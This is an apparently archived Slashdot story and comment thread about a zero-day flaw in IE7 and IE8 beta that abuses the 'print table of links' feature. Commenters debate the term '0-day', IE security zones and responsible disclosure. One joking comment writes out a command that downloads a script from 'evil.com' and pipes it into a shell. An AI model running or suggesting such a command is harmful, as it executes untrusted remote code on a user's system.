IE 7.0/8.0b Code Execution 0-Day Released

SecureThroughObscure writes "Security blogger and researcher Nate McFeters blogged about a 0-day exploit affecting IE7 and IE8 beta on XP that was released by noted security researcher Aviv Raff. The flaw is a 'cross-zone scripting' flaw that takes advantage of the fact that printing HTML web pages occurs in the Local Machine Zone in IE rather than in the Internet Zone. Quoting McFeters's post: 'This is currently unpatched and in all of its 0-day glory, so for the time being, beware printing using the "print table of links" option when printing web pages.' McFeters and others will be presenting at Black Hat on the link between cross-site scripting and cross-zone. Rob Carter has been hitting this hard over at his blog, pointing out cross-zone weaknesses in Azureus, uTorrent, and the Eclipse platform."

Comments

0-day

[Anonymous Coward]

0-day? This term seems to have lots all meaning. Could we please stop using it?

Re:0-day

[Fast Thick Pants]

Zero is the answer to the question "How long has the vulnerability that this exploit exploits been patched?" I suppose you could call it a -24 since it probably won't be patched until next month's black Tuesday.

Re:0-day

[tyler.willard]

That's what the term seems to have mutated into, but it wasn't its original intent.

The whole point of coining the term in the first place was to be able to discuss the unknown; i.e., to be able to assess the potential danger of currently unknown threats. Day-1 refers to disclosure, as such there's no way to talk about a specific 0-day because if you know what it is than it has to at least be day-1.

Sure it's abstract, but it's an important concept for developing security technologies and security procedures.

Between product buzzwords and the abstract nature of the term it's almost lost all meaning.

Re:0-day

[tyler.willard]

No. It wasn't.

The whole "day thing" is about the time between disclosure and patch/signature release. Disclosure starts the clock: Day-1. Day-0 is for talking about the day before disclosure.

Re:0-day

[Anonymous Coward]

How can you have - (negative) 0 (zero) ?

Re:0-day

[tyler.willard]

Those aren't minus signs...just dashes; i.e., "Day One"/"Day Zero".

Re:0-day

[Fast Thick Pants]

Well, a lot of us learn to start counting from zero. I guess this is one for the usenet etymologists

Re:0-day

[plague3106]

I thought it was the time between the exploit was known and the time an exploit was discovered in the while.

Re:0-day

[Lincolnshire Poacher]

> The whole "day thing" is about the time between disclosure and patch/signature release.

Do you have any citation for your assertion?

The term derives from warez "0-day boards". These were populated by the most elite crackers who had cracked software on the 0th-day of release; that is, the software hit the shelves and was already cracked.

Try doing a web search for ``0-day'' with a date threshold prior to, say, 1995. You won't find any hits for your interpretation:

http://www.alltheweb.com/search?advanced=1&cat=web&jsact=&_stype=norm&type=all&q=%220-day%22&itag=crv&l=en&ics=utf-8&cs=iso88591&wf%5Bn%5D=3&wf%5B0%5D%5Br%5D=%2B&wf%5B0%5D%5Bq%5D=&wf%5B0%5D%5Bw%5D=&wf%5B1%5D%5Br%5D=%2B&wf%5B1%5D%5Bq%5D=&wf%5B1%5D%5Bw%5D=&wf%5B2%5D%5Br%5D=-&wf%5B2%5D%5Bq%5D=&wf%5B2%5D%5Bw%5D=&dincl=&dexcl=&geo=&doctype=&dfr%5Bu%5D=on&dfr%5Bd%5D=1&dfr%5Bm%5D=1&dfr%5By%5D=1990&dto%5Bu%5D=on&dto%5Bd%5D=16&dto%5Bm%5D=5&dto%5By%5D=1995&hits=10

Try USENET for certainty ( blocked in work ).

Re:0-day

[hal9000(jr)]

Close but not quite. The original intent of zero-day exploit was an exploitable vulnerability that the vendor doesn't know about but is being or could be used in the wild. No notice, yah know?

But it got mutated because

1. 0-day sounds so fricking cool everyone started to use it. I mean, who wants to brag/talk about 3 day vulnerability?
2. Vendors that made IDS/IPS/AV wanted to say they fixed 0-day exploits, so decided to rename unpatched exploit (see, that's a mouthful (un-patched vulnerability) to zero day because there is no patch.

Re:0-day

[Anonymous Coward]

I agree. Back in the BBS days, 0-day had a very clear meaning and this was it.

Re:0-day

[Anonymous Coward]

You got trolled, son

Re:0-day

[An ominous Cow art]

Yeah, the term has definitely been bricked.

Re:0-day

[nikanj]

Yeah, that term is completely bricked

Re:0-day

[Anonymous Coward]

This is a red-herring post intended to deflect discussion away from yet another Microsoft failure.

Please moderate it down.

Re:0-day

[darkwhite]

You're wrong. "0-day" refers exactly to what the original poster described. The term originated in the warez scene where it meant the copy protection of the software in question was cracked 0 days after its release. It was then adopted in the security/exploit scene to mean the exploit was released 0 days after the patch to address it was available.

Of course, that meaning is not very useful, because the vendor will need time to patch the exploit after it's known to it, and because unlike cracked software copy protection, security exploits are much more useful when not known to the general public. So the term has changed to refer to the entire class of vulnerabilities which have not yet been patched, whether or not publicly known. So the original explanation is correct.

A Disturbing Trend, But Not Unforeseen...

[blcamp]

The more complex the software releases become, the more complex and insidious the exploits of them become also.

Re:A Disturbing Trend, But Not Unforeseen...

[TheNetAvenger]

The more complex the software releases become, the more complex and insidious the exploits of them become also.


Exactly, this is why the most complex OS in history, Vista...

Oh wait, Vista is NOT affected.

(Sorry to the MS Haters Club, especially considering the obscurity of this exploit, compared to ANY of the last 5-10 major flaws found in FireFox.)

Re:A Disturbing Trend, But Not Unforeseen...

[lawaetf1]

Which is exactly why we should stop using software!!

Amazing

[duplicate-nickname]

I didn't even know that "Print table of links" was an option for printing in IE until today. My guess is that no one actually uses that feature, and this 0-day exploit affects roughly 0 people.

Re:Amazing

[CastrTroy]

Even if you did know about the feature, I'm not sure of it's usefulness. Saveing a spreadsheet of links might be useful, but printing them out? Most URLSs are pretty hard to type back in, and wouldn't be all that useful on paper. Look at the url I'm no right now.

http://it.slashdot.org/comments.pl?sid=555236&op=Reply&threshold=1&commentsort=0&mode=nested&pid=23432544

Why you would want that printed out on a piece of paper is beyond me. It might possibly somewhat work on a PDF printer, but even then, it's use is limited.

Re:Amazing

[Penguinisto]

Actually, I could see uses for it - but mostly for web designers as an audit tool, and for corporate security types who want to gin up a list of naughty links with which to show the employee and his/her boss.

Now for a real use? Well, maybe one. To save having to scribble them down, you could waste a couple reams of paper printing out, oh, maybe a dozen MS Sharepoint links to an overly-anal supervisor who demands that you include reference links in a printed report.

/P

Re:Amazing

[Anonymous Coward]

You're forgetting about another MSIE feature, a TWAIN plugin called "Scan table of links".

Proof

[morgan_greywolf]

This is proof of what I've said from the beginning -- the whole concept 'zones' in IE is stupid and pointless. Scripts should be allowed only what you allow them, period. You should be able to give permissions down to the individual site (ala NoScript) or even down to the individual script.

Re:Proof

[ScentCone]

You should be able to give permissions down to the individual site (ala NoScript) or even down to the individual script.

Look, for most people, the zone idea actually makes sense. Basically, don't trust ANY web site to do the tricksy stuff, but add (for example) your company's intranet to the safe zone, where it can do more desktop-ish stuff. I don't think that's such an awkward concept, and it spares people from having to think through what to allow, or not, on a site by site basis, as they surf. Most people are not this audience. And being able to enforce zone policies at the enterprise level makes a lot of sense, since average users are routinely shown to be spineless and witless: they'll add a poisonous Russian casino spam site to the safe list if that site pops up a tutorial on the steps the have to take to do so, if they want their free emoticon package.

Fiddly, granular systems only work for fiddly, granular people.

Re:Proof

[morgan_greywolf]

Pffft. So tell me-- why when I browse a site in the "Internet-zone" and then print a table of links, does that function run in the 'Local Zone'?

I'll tell you why: because it has to. You can't access local devices in the Internet Zone. That's the point. Granular approaches would allow you to print without accidentally giving other permissions to something that shouldn't have them.

At the enterprise level, with something like NoScript, you can just allow entire domains, say intranet.example.com or whatever your organization uses.

Next thing you're gonna tell me is that you think Microsoft should do away with ACLs at the individual file level or even the directory because users are just too stupid to figure that out. They should just have "file zones" and people will just have to stick their files in the right zone. Pffft.

Re:Proof

[evanbd]

That's insufficient. The danger from scipts comes from sites you *do* trust that get hacked. And if you grant permission per script, how many people are competent to read a script and judge it to be non-malicious? Of those, how many will feel like taking the time for every single script?

NoScript is good, and I use it, but it's far from sufficient to secure the browser against script-based attacks.

Re:Proof

[Manip]

IE or any other modern browser on the market.

You would also have every web developer in the marketplace whining about how IE ignores standards if they pulled the plug on scripting.

Sorry but Zoning in IE is fine. IE 7 is actually a pretty good modern browser and, sure, it isn't perfect but frankly what is?

Re:Proof

[CastrTroy]

Why would you want special permissions on stuff in your intranet? Couldn't any disgruntled employee set up a webserver on their computer, send out a mass email, telling people to visit the url. and infect a large portion of the computers in the office? If you want special permissions for intranet servers, install your own CA, and let the browser run stuff only signed by that CA.

Re:Proof

[myxiplx]

I disagree, zones are great, I just wish they'd implemented them better. We use zones as a quick way to enforce across the whole organisation which sites can and can't run scripts. The concept is superb, regular sites can't run scripts, activex, or anything. IT designated 'trusted' sites work fine.

Unfortunately, IE7 has made things a little more difficult:

- Pages with content from various zones no longer show up as 'mixed'. Since the upgrade to IE7, all sites only show the zone of the main URL, however the content runs according to the security zone for it's own source. It makes it almost impossible to work out whether a site can or can't run scripts, and you end up digging into the pages source code to work out what sites need adding to the trusted zones to get pages to work.

- Dynamic scripts added to a page in the 'trusted' zone, execute from the 'internet' zone. This is "by design"... The only workaround is to change the way the code works on the server.

- If you want to lock down the 'internet' zone, you will need to add "about:internet" to your 'trusted' zone

- You will also need to add res://ieframe.dll to your 'trusted' zone

Re:Proof

[morgan_greywolf]

NoScript is good, and I use it, but it's far from sufficient to secure the browser against script-based attacks.

I agree. That's why browser makers need to focus on writing secure code. Microsoft has proven time and time again that they are most certainly NOT up to the task.

Re:Proof

[Penguinisto]

Having actually used the 'Zones' concept recently on IE, I gotta say - it needs work. LOTS of work. The first time someone wants to diddle with a MySpace app and discovers that it won't work until you basically ratchet down the settings --often by hand in the advanced options--? Then couple that with the fact that many websites can pull in parts and content from multiple domains, requiring permissions to be set on each and every one? The whole thing would go out the window and the user would promptly ratchet down the whole WWW.

The concept itself is okay, but the implementation could use a good, solid overhaul.

/P

Re:Proof

[morgan_greywolf]

Not if your Intranet is one domain and your desktop PCs are in another domain, no.

Furthermore, you can make it is as granular as you want. If you want list individual servers, do it, or if you want to control it by CA, do it that way.

Re:Proof

[Fast Thick Pants]

I like the zones; I wish Firefox had them. I love NoScript very much, but I wish I didn't have to authorize, say, slashdot.org, to run java apps. I'd rather configure a middle tier that would allow javascript and nothing else.

Re:Proof

[CastrTroy]

And for IE the defaults allow special permissions to your entire intranet. By default all the permissions should be low. There's no reason to grant higher permissions to the entire intranet. If you need something like that set up at your organization, you should have to enable it per server, or per domain.

Re:Proof

[morgan_greywolf]

Exactly. I knew you'd see it my way.

Re:Proof

[Dare nMc]

Couldn't any disgruntled employee

yes, but which is more likely on a daily basis. When a internal employee attacks and is found, in most company's he gets no more chances to be a ass. When a external attack is found, one of his computers is blocked, a new IP address is all thats needed for him to try again...
At my work their about 10 people with the ability to do this intentionally, of course the more likely is that they got infected from the internet, but if that was blocked, how did that happen again?
of those 10 people at my company with the ability, at least 9 of them would be allowed to serve any of their content on the CA server anyway.

Re:Proof

[Mongoose Disciple]

In theory I'd agree with that, but Joe Random Intarwebs User isn't savvy enough to make those choices in a semi-smart way.

The zones concept isn't perfect, but for the technically quasi-literate it's generally a better solution to the problem. Golden rule of design: don't build things as though your users are smart, because most of them won't be.

Re:Proof

[nstlgc]

NoScript is good, and I use it, but it's far from sufficient to secure the browser against script-based attacks.

I agree. That's why browser makers need to focus on writing secure code. Microsoft has proven time and time again that they are most certainly NOT up to the task. That must be why this vulnerability does not result in code execution on Vista. Didn't you mean to write 'Micro$oft'?

Re:Proof

[plague3106]

If you're ratcheting down the zone settings for one site, you're NOT using zones correctly. What you'd want to do is add MySpace to your Trusted Sites zone. Now MySpace has the permissions it needs, but the rest of the internet still is kept on higher guard.

Re:Proof

[MobyDisk]

People just need to stop using web browsers as a way to control the desktop. If you are in a domain, then the domain administrator can push executable apps, policies, and commands down to the computer. HTML, Javascript, and ActiveX are not tools for administering networks.

Also, having developed desktop applications that used embedded IE, I can tell you the zones system is completely screwed-up. It changes in every version, the APIs are inconsistent across different Windows OS's, and there are crazy loopholes with magical URLs like res:, file:, about:. Then there's exceptions for files on the local hard drive, on the network, on mapped-drives. It's a total mess. All of it really just to support some stupid extensions to Javascript, VBScript, and Microsoft Office - that should never have been added in the first place.

Re:Proof

[Penguinisto]

If you're ratcheting down the zone settings for one site, you're NOT using zones correctly. What you'd want to do is add MySpace to your Trusted Sites zone. Now MySpace has the permissions it needs, but the rest of the internet still is kept on higher guard.

Thing is it ain't that easy (ref. a similar post to mine that explains it better). This could apply almost anywhere that has a ton of mixed content (for instance at my work, where one has to do it just to get some of the corp's more bone-headed ActiveX controls to behave normally).

The problem is, you and I can grok-out a way around it. My wife (or any other non-tech-oriented person) cannot, at least not without a lot of Googling and even more patience (or a more tech-oriented spouse to impose the issue upon).

/P

Re:Proof

[TheLink]

If you're using Win 2K Pro with some registry tweaks you can add zones and even configure the My Computer zone. I've added "Other Zones", for zones I can't bear to call Trusted Sites, but require active scripting. And I've actually got the "My Computer" zone in a high security setting - but this means that you can't use the new style views for explorer - have to use "classic". I'm not sure if it works on WinXP Pro.

That said, for stuff like Facebook and MySpace, I'd use a virtual machine ;).

Re:Proof

[keytoe]

Your markup is incorrect - you left the slash off your closing Pffft. tag.

Re:Proof

[morgan_greywolf]

Oh, look, one of those stupid fscking karma-whoring Microsoft trolls/shills/astroturfers/whatever that have been hanging around here for the last year or so just wasted 3 of his mod points on THREE of my posts in this thread.

They must really hate me.

Please hammer whoever this is in metamod for me, thx. (And feel free to mod this post down, it's offtopic)

Re:Proof

[tobiasly]

Couldn't any disgruntled employee set up a webserver on their computer, send out a mass email, telling people to visit the url. and infect a large portion of the computers in the office?

At my last employer, setting up a webserver wouldn't have been necessary. Everyone could get read/write access to the real intranet servers via their C$ share. Oh, Windows.

Re:Proof

[Anonymous Coward]

Update, I figure they must have modded up two "zoning is fine" posts that were wayyy redundant to ScentCone's. The culprits modded me down "overrated" one two, put couldn't resist modding the GP to this post as flamebait, even when it clearly was not.

So that's the only post that'll make M2, unfortunately.

Re:Proof

[plague3106]

Well, I'd argue that MySpace is then setting up an unsafe situation. There's no good solution for sites that do this that a normal user will understand anyway. A broken site is better than a compromised workstation.

Re:Proof

[Anonymous Coward]

Couldn't any disgruntled employee set up a webserver on their computer, send out a mass email, telling people to visit the url.
 
On the average network, probably. On an ideal network with very meticulously configured firewalls, no.

Re:Proof

[knarf]

While it may be true (and it *better be true*) that untrusted zones can not directly touch local devices the question still remains why there is any processing being done on data from a lower-trust zone *inside* a higher-trust zone. That is the wrong approach. Had they formatted the document to be printed inside the lower-trust zone and handed a formatted document to the higher-trust zone (in whatever format is used to print documents: metafile, postscript, etc) to be printed this problem would not have occurred. That is, given that the print spooler does not goof up with the data to be printed of course...

Re:Proof

[Kalriath]

That's not Windows' fault, that's incompetent administrators adding "Domain Users" to the Administrators group on that server or the "Domain Administrators" group on the domain.

Re:Proof

[BasharTeg]

Default Intranet Zone Permissions are medium-low. What the fuck is wrong with that? You should be pushing zone security settings via policy on your domain anyway, not using the defaults. Score: 5, Insightful my ass.

Usage

[Wowsers]

People still use Internet Exploder?

Re:Usage

[stubear]

People still use immature names for Microsoft and their products?

For using IE since 2.X...

[AioKits]

I can safely say I did not know this ability even existed. (Don't hurt me! I use FireFox at home! Honest! I even brought some FF t-shirts and the laptop tote.)

Irresponsible disclosure

[benjymouse]

The vuln. is probably real, but Aviv Raff notified Microsoft the day before he went public with a "treasure hunt" for this bug (celebrating Isreals 60th birthday); thus the fact that it's a 0day vuln. is entirely his doing. Way to go.

Re:Irresponsible disclosure

[reset_button]

Is it better to keep it secret until a patch comes out and hope that nobody else has discovered the vulnerability, or publicize it and let people know not to use this IE feature until it's patched?

Re:Irresponsible disclosure

[benjymouse]

In a word? Yes. Ask Mozilla.

Re:Irresponsible disclosure

[Anonymous Coward]

The vuln. is probably real, but Aviv Raff notified Microsoft the day before he went public with a "treasure hunt" for this bug (celebrating Isreals 60th birthday); thus the fact that it's a 0day vuln. is entirely his doing. Way to go.
Yes, as always... blame the whistle blower not the manufacturer of the crap product.

Re:Irresponsible disclosure

[Workaphobia]

Yeah, really. There's no glory in "finding" a zero day exploit; it's not as if it's inherently more severe or damning than any other flay. But it sure looks better on the headlines.

Re:Irresponsible disclosure

[MMC Monster]

Agreed. It's considered good form to give the developers at least some notice prior to releasing a security exploit into the wild.

Re:Irresponsible disclosure

[Cal Paterson]

"Yes" isn't an answer to the question.

Re:Irresponsible disclosure

[Gewalt]

"Yes" it was.

Re:Irresponsible disclosure

[Cal Paterson]

Yes doesn't specify which of the options the answerer has selected; it's not a _proper_ answer, even if it's supposed to be witty.

Re:Irresponsible disclosure

[Anonymous Coward]

Should you be modded up or down?

In a word, yes.

Re:Irresponsible disclosure

[Anonymous Coward]

"Yes" isn't an answer to the question. Does "woosh" answer the question?

Can it be triggered via javascript?

[foniksonik]

Can you trigger this behavior in an onload event?

If not it's a rather useless exploit other than as a prank to pull on your secretary... "Hey Sandra... can you print out a table of links for this website?"

5 minutes later "What the F***!"

"HAHAHAHAHAHAHA... I totally got you!"

Re:Can it be triggered via javascript?

[ruiner13]

You can certainly trigger the window.print() command in the onload, but setting the properties of the dialog to what is needed for this exploit cannot be done. VBScript may allow further printing options, but I suspect the page would first trigger the standard scripting warnings and the user would still be forced to intervene.

Re:Can it be triggered via javascript?

[CastrTroy]

Well, could you encode a link properly and post it on slashdot? Would it get through the filters? I imagine quite a few people are trying the "print table of links" feature on this very page, simply because nobody has ever used it.

eclipse.

[Anonymous Coward]

The eclipse ide?

you wrong!

[thisispurefud]

This is proof of what I've said from the beginning -- the whole concept 'zones' in IE is stupid and pointless. IE's zones is a very good thing because it gives different level of security based on zones, "internet zone" has an higher security, "local zone" has a lower security, "restricted zone" has the maximum security.

Scripts should be allowed only what you allow them, period. "allow or cancel" question for each site you visit? are you crazy???? scripting is not dangerous unless there's a flaw in javascript.

You should be able to give permissions down to the individual site you can do it with IE by putting the sites into the different zones. If you want block a site, just put it in "restricted sites" zone.

(ala NoScript) or even down to the individual script. "allow or cancel" question for each site you visit? are you crazy???? scripting is not dangerous unless there's a flaw in javascript.

Re:you wrong!

[morgan_greywolf]

scripting is not dangerous unless there's a flaw in javascript.

If only JavaScript were the only scripting option on IE. Furthermore, JavaScript is one of the primary vectors of attack for Firefox, IE and Opera: what makes you think that an untrusted JavaScript is NOT dangerous?

you can do it with IE by putting the sites into the different zones.

Right. Again, see how NoScript does it. Far easier and more convenient for the user, IMHO.

To view this article on one page...

[Thelasko]

please select the printable version.

end sarcasm

Re:To view this article on one page...

[The MAZZTer]

I'd just use Print Preview if I saw something like that, and you can't do the table of links thing in the Preview. Which seems sorta dumb in and of itself, since you can't Preview what it's gonna look like.

Re:To view this article on one page...

[Neil Hodges]

You can't grep dead trees.

yes, I use it

[thisispurefud]

People still use Internet Exploder? yes, I use Internet Explorer in Windows Vista that is the safest browser because it runs with the lowest privileges possibile in a sandbox (IE7 Protected mode). In fact IE7 under Vista is not affected by this flaw i.e. remote code execution is not possible (yet another reason to use Vista and UAC).

Re:yes, I use it

[lloydchristmas759]

Sorry, I could not keep from modding this funny. I am really a GNU/FOSS/Linux geek :P

Re:yes, I use it

[A beautiful mind]

Isn't using Vista for those reasons a bit like being really proud of the great big bolted gate that is sure to keep intruders away, while your fence consists of grass and your house is next to the ultramodern nuclear bunker with built in natural habitat simulation that you have free access to and is frequented by hot women?

Re:yes, I use it

[Just Some Guy]

Sorry, I could not keep from modding this funny.

It didn't take.

Re:yes, I use it

[nstlgc]

Isn't using Vista for those reasons a bit like being really proud of the great big bolted gate that is sure to keep intruders away, while your fence consists of grass and your house is next to the ultramodern nuclear bunker with built in natural habitat simulation that you have free access to and is frequented by hot women? If by this analogy you mean that Linux is frequented by hot women then wow. Just wow. :-)

Re:yes, I use it

[stubear]

Because he's a fucking dumbass and posted to the same story he moderated. Granted, not being allowed to comment in other threads simply because I've moderated one already is annoyingly stupid but if you moderate you know this, or should, by now.

Re:yes, I use it

[Inda]

To my siblings: Do people still reply to trolls?

Oh wait...

Re:yes, I use it

[Anonymous Coward]

I appreciate the honesty that your name portrays.

Re:yes, I use it

[Anonymous Coward]

IE7 in "protected mode" in Vista still gets all of the malware out there. Sure it may be low privs, but it still can get nasty 'smitfraudfix' type of nasties.

Re:yes, I use it

[totally bogus dude]

Well, it protects you from the code execution problem (but is apparently still vulnerable to an "information disclosure" as a result, but I don't know the details) for this particular flaw. But using Firefox or Opera or IE6 also protects you from this particular flaw.

I'll be back in a bit ...

[tgd]

Going to print the article so I can read it on the can. I'll post a response about it when I get back.

Re:I'll be back in a bit ...

[sunami88]

I thought thats why some of us had PSP's or laptops?

*crickets*... What?

Re:Not irresponsible disclosure

[bcat24]

Yes, it's a remote code execution vulnerability, but it's still not a critical bug.

Any remote code execution vulnerability is a critical bug, mkay?

Solution: Upgrade to Lynx

[Anonymous Coward]

If I am understanding this feature correctly, this is precisely what Lynx has been able to do for eons. Just press the 'L' key, then if you must print it, follow up with the 'P' key. Simple.

Welcome to the 1990s, Microsoft!

*feeds the troll*

[Animaether]

Nobody is blaming Aviv for the existence of the bug. Nobody is blaming Aviv for telling people about the bug.

We *might* be blaming Aviv for telling the world, script kiddies and botnet operators alike, about this bug -before- even notifying the manufacturer of the crap product.

Nor did Aviv wait a reasonable time period for the manufacturer to admit their product's crap state and issue either A. a warning of their own (don't print links) or B. a fix, while providing full credit for discovering the bug to Aviv. Aviv could then still parade his bragging rights around, disclose the exact details, provide proof-of-concept and generally be admired for re-affirming the notion that the product is crap and telling the world in a responsible manner.

Yes, I know, in the time that Aviv would be waiting for the manufacturer to issue a warning / a fix, there could be *others* who also have figured out this vulnerability, and could be actively using it, perhaps on your computer right now! don't look! But given the odds of maybe a handful of people using this for targeted operations vs thousands of script kiddies at work, I'll take my chances with that handful of people in that time period.

Oh, and I consider 3 days to be sufficient a time period for any manufacturer to respond, so anybody who felt like showing how it sometimes takes a manufacturer YEARS before fixing things can just bugger off. I have nothing against disclosure if the manufacturer takes too long - forcing their hand may be the best thing. But having them caught off-guard and scrambling by flat-out announcing it to the world is far more irresponsible than the alternative.

imho.

Must we highlight every bug in IE?

[Anonymous Brave Guy]

I appreciate the desire to raise awareness, but there's no practical benefit to running this story other than Windows bashing. It'll get patched, the patch will probably ship on some future Tuesday given this is a feature few people use and the risk of exploitation is relatively low, and that'll be that.

In contrast, a far more dangerous bug in the openssl package used by Debian and its derivatives was discovered earlier this week, and doesn't seem to have made the Slashdot home page at all, even though it's probably relevant to a lot of the Slashdot readership and there is real action they can take to fix things. Go figure...

Re:Must we highlight every bug in IE?

[makomk]

The Debian OpenSSL bug definitely made the Slashdot home page; you must've missed it. (It was posted on Tuesday, a couple of hours after the official announcement - that's quite fast for Slashdot. This story, on the other hand, obviously wasn't considered as important - I read about it elsewhere a day or two ago.)

Re:Must we highlight every bug in IE?

[BiggerIsBetter]

I think the real story is not the bug itself, but the disclosure process in this instance. The Debian OpenSSL mess was front-paged yesterday, and I the OpenSSH "bug" is really just a result of that. Useful link you posted though, particularly with its note about the ssh-vulnkey tool.

Re:Must we highlight every bug in IE?

[dissy]

In contrast, a far more dangerous bug [debian.org] in the openssl package used by Debian and its derivatives was discovered earlier this week, and doesn't seem to have made the Slashdot home page at all, even though it's probably relevant to a lot of the Slashdot readership and there is real action they can take to fix things. Go figure... It was on the slashdot front page on Tuesday

http://it.slashdot.org/article.pl?sid=08/05/13/1533212

Re:Must we highlight every bug in IE?

[OMGZombies]

In contrast, a far more dangerous bug in the openssl package used by Debian and its derivatives was discovered earlier this week, and doesn't seem to have made the Slashdot home page at all

You mean, this bug?

Re:Must we highlight every bug in IE?

[Vexorian]

God forbid this site bashed windows.

Re:Must we highlight every bug in IE?

[Spy der Mann]

Yes, we must! Because that gets us cautious when using IE on the job, while most people simply don't even know these vulnerabilities exist.

Re:Must we highlight every bug in IE?

[Anonymous Coward]

Hey look at me! I'm too fucking stupid to search: http://it.slashdot.org/article.pl?sid=08/05/13/1533212&from=rss

Fanboy fag.

WTF is a "0-day" ?

[OneSmartFellow]

...When are we going to be able to read an article written by anyone other than some jerk-off using buzz-phrases whenever possible.

"0-day" doesn't mean a f$%^&ing thing ! There is no information being transmitted by that phrase, it is empty of any meaning and might as well be a punction mark.

Re:WTF is a "0-day" ?

[Artuir]

You might know this and were just venting, but for those readers out there that don't know, I'll attempt to clarify.

"0-day" typically is used in the warez/cracking scene. 0-day releases are essentially programs or games or whatnot that are cracked or released for download the same day (or even before) they hit retail shelves. So you've got 0-day games, 0-day cracks, etc. - but in the context the summary uses the term it doesn't really seem like it means anything unless it coincides with a brand new release of IE8. But being a slashdot poster, I didn't even bother to read the summary all the way through, and I sure as hell don't care about IE or vista.

Re:WTF is a "0-day" ?

[n1ckml007]

Correct "0 day" refers to the release date. "0-day" = previously not publicized http://en.wikipedia.org/wiki/Zero_day_virus for details.

Re:WTF is a "0-day" ?

[Anonymous Coward]

Nope. Not a Q-bert thing... http://en.wikipedia.org/wiki/Zero-Day_Attack http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci955554,00.html# http://netsecurity.about.com/od/newsandeditorial1/a/aazeroday.htm

Re:WTF is a "0-day" ?

[Anonymous Coward]

Definitions of zero day on the Web:

        * When a vulnerability in a piece of software is announced at the same time as the relevant exploit code is made available. ...
            www.h-spot.net/threat_glossary.htm

        * Zero Day (2003) is a movie directed by Ben Coccio, about a school shooting much along the lines of the Columbine High School massacre.
            en.wikipedia.org/wiki/Zero Day

        * Zero day or 0-day refers to software, videos, music, or information unlawfully released or obtained on the day of public release. Items obtained pre-release are sometimes labeled Negative day or -day.
            en.wikipedia.org/wiki/Zero day

Re:WTF is a "0-day" ?

[OneSmartFellow]

From the Wikipedia article cited

A zero-day (or zero-hour) attack or threat is a computer threat that tries to exploit unknown, undisclosed or unpatched computer application vulnerabilities.

So, it's a newly discovered exploit. Can't we use that phrase instead of the uber-lame "0-day"

Re:WTF is a "0-day" ?

[Koiu Lpoi]

Once it becomes publicly disclosed it is no longer 0-day. We shouldn't even be having this discussion.

I'm save...

[CRX588]

I can't even find this "print table of links" feature.

No

[The MAZZTer]

The best you can do is window.print() to bring up the Print dialog. The user would have to select the "Print table of links" option manually and then print to any printer.

I'm not sure that holds up

[HangingChad]

The more complex the software releases become, the more complex and insidious the exploits of them become also.

I'm not sure if that statement will hold up to scrutiny. If complex software is the issue, then you'd expect exploits to be consistent across platforms when comparing software of similar complexity. I haven't seen any research supporting that observation. I have seen research that says more complex software will likely contain more coding errors and potential exploits but haven't seen a correlation between software size and actual successful attacks across platforms.

The elephant in the room we ultimately end up dancing around is that we're talking about Windows exploits. The problem is not complex software, the problem is Windows complexity. And Windows API's and their relationship to the software that runs in that environment. Although not all versions of Windows are equally vulnerable, the bottom line is that security in Windows was an after thought. Bolted on rather than pervasive. It's like trying to secure a building designed for open access.

Re:I'm not sure that holds up

[plague3106]

So you're argument is that some complex code is inherently less secure than other complex code? Sorry, I don't buy it.

As far as security being an after-thought in Windows, that's not true. DOS and the Win9x line weren't designed to be networked, certainly not on an untrusted network. To some extent that was true of the earlier NT line as well; although security was needed and built in, it likely made the assumption that the network was at least somewhat safe.

Modern Windows (I'd say Win2000 and higher) have been designed with networking on an untrusted network in mind, and exploits have been fewer and fewer. It may have taken MS a bit to learn, but it seems they have learned it, especially starting with anything 2003 and higher.

Re:I'm not sure that holds up

[moderatorrater]

And if we ever have an OS with equal market share we'll be able to evaluate the truth to that statement; for right now, there isn't another OS with the same level of scrutiny from developers, white hat and black hat hackers, so there's very little chance that we'll get a fair comparison.

Re:I'm not sure that holds up

[Zarluk]

Only on the desktop, my friend ;-)

At least, half of the worlds web servers are running "another OS", have fixed IPs and are known to be reliable.

So you argument, at least, doesn't aplly to web servers ;-)

MySpace

[Z34107]

he first time someone wants to diddle with a MySpace app and discovers that it won't work until you basically ratchet down the settings --often by hand in the advanced options--

You realize that MySpace is nothing but personal ads for child molesters, right?

If you're running apps from there... be careful

Re:MySpace

[IntlHarvester]

Right - tons of phishing and hacking scams are run from MySpace pages.

Its almost the last place on the web you should be "ratcheting down" IE's security settings.

Re:Not irresponsible disclosure

[nstlgc]

No.

0-day....

[EddyPearson]

By definition, this is no longer 0-day now is it?

Re:Not irresponsible disclosure

[Anonymous Coward]

In that case, I have a critical vulnerability in wget. If I, Umm, "accidentally" type wget -O- http://evil.com/ | /bin/sh, they can execute arbitrary code. PLZ2FIXKTHX.

Oh yeah?

[Spy der Mann]

yes, I use Internet Explorer in Windows Vista that is the safest browser because it runs with the lowest privileges possibile in a sandbox (IE7 Protected mode).

Oh yeah? I use Internet Explorer in XP under non-admin mode in a virtualbox install on Cygwin on a virtualbox install of XP inside a Linux virtualbox install under a SELinux host!

HAH! Take that!

Printer Paper Eating?

[cryptodan]

So I guess the Russian Business Network will now start developing malware to make printers print non stop costing companies money in paper resupplies?

0 Day on IE

[misterhypno]

Some random thoughts on this:

IE - It Executed

0 Day - 0 Productivity. Nothing works.

So It Executed 0 Day and nothing works and there was no productivity.

And ol Br'er Mac User, he jus' sits back and LAFFS!!

zones are meaningless, useless, stupid, etc.

[OrangeTide]

IE has them and they don't work, Firefox doesn't have it and it still works. I personally think the entire concept is flawed and provides no real security. It is just a UI for managing permissions, which appears to be broken more often than not. Very complicated permission schemes have always been an issue with Windows compared to the Unix world. You average desktop really just needs a few flags for permissions on each object rather than a hierarchy.

Printer-friendly version

[6Yankee]

here

Unpatched, zeroday, security researcher: chose two

[Anonymous Coward]

> Security blogger and researcher Nate McFeters blogged about a 0-day exploit affecting IE7 and IE8 beta on XP that was released by noted security researcher Aviv Raff ... Quoting McFeters's post: 'This is currently unpatched and in all of its 0-day glory

If he is a security researcher, then it is not a zero day or unpatched. If it is indeed a zero day and unpatched, then he is not a security researcher.

That happens because there is something called responsible disclosure and you cannot be a security researcher without that, just like you cannot be a doctor without taking Hippocrates' oath.

Please tell me others have noticed

[Anonymous Coward]

Every post by securethroughobscure talks about "Nate McFeters"... I didn't think Nate was the speaks-in-third-person type of individual...